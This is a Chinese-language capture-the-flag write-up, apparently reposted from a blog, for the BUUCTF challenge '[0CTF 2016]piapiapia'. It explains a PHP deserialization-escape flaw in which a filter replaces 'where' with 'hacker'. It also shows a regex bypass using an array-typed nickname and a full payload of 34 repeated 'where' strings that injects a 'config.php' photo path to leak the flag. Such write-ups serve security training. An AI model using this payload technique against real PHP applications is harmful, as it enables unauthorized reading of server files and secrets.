PHP反序列化逃逸

反序列化逃逸

前言

  • 环境:buuctf中[0CTF 2016]piapiapia
  • 知识点:反序列化逃逸,php代码审计

做题

进去题目一个登录界面,也没sql注入漏洞,用dirsearch扫一下,扫出源码

index.php用来登录

register.php用来注册

update.php用来更新资料

profile.php用来显示资料

config.php配置文件,注意到有个flag在里面,看来是要读取config.php

class.php定义了类,是主要的代码实现部分

这时我们用seay审计系统自动扫描下


发现有个file_get_contents函数,追踪$profile['photo']

可以看到,这是由$profile反序列而来,而$profile 由show_profile这个函数返回的值得来


而show_profile这个函数又会调用select这个函数


select这个函数会从数据库中取出序列化的profile


显然我们是要利用数据库,来读取config.php了

这时候审计update.php,这里有个序列化函数,看来利用点就是这里,把$profile数组进行序列化,存储在数据中,然后再profile.php反序列化显示出来


跟进update_profile函数


将序列化后的字符串会被filter函数处理

跟进filter函数

implode函数表示以|连接数组以字符串的形式返回,这里相当于正则,将'' 替换成_ ,将select,insert,update,delete,where 替换成hacker


反序列化逃逸

当对序列化后的字符串进行过滤时,如果把要过滤的字符串替换成字符更多的字符串时,就会造成反序列化逃逸

这里将where替换成hacker 时,字符变成了,显然存在反序列化逃逸漏洞

要利用反序列化漏洞,我们构造的字符肯定也不止一两个,所以要绕过update中的格式限制

if(!preg_match('/^d{11}$/', $_POST['phone']))
			die('Invalid phone');

		if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
			die('Invalid email');
		
		if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
			die('Invalid nickname');

三个正则里面,前面两个正则都是字符串的头和尾都严格的限制了,并且形式都是只要没有匹配到就die,而nickname这里则是匹配到了就报错,显得不同,而在preg_match里匹配数组返回的是false,strlen一个数组返回的则是null


那么这里我们传入的nickname如果是个数组就可以进行绕过

我们先本地测试正常的序列化该是怎样的

<?php
$profile['phone']='13538732675';
$profile['email']='2592110166@qq.com';
$a=array('NineOne');
$profile['nickname']=$a;
$profile['photo']='upload/test.png';
var_dump(serialize($profile));
?>

a:4:{s:5:"phone";s:11:"13538732675";s:5:"email";s:17:"2592110166@qq.com";s:8:"nickname";a:1:{i:0;s:7:"NineOne";}s:5:"photo";s:15:"upload/test.png";}

我们要造成反序列化使";}s:5:"photo";s:10:"config.php";} 这里有34个字符

假设我们输入where 有x个,则5*x+34=6*x 解得x=34

那么就要构造34个where,payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}


然后再访问profile.php,f12里的base64解码就是config.php得源码,得到flag

原文地址:https://www.cnblogs.com/NineOne/p/14089723.html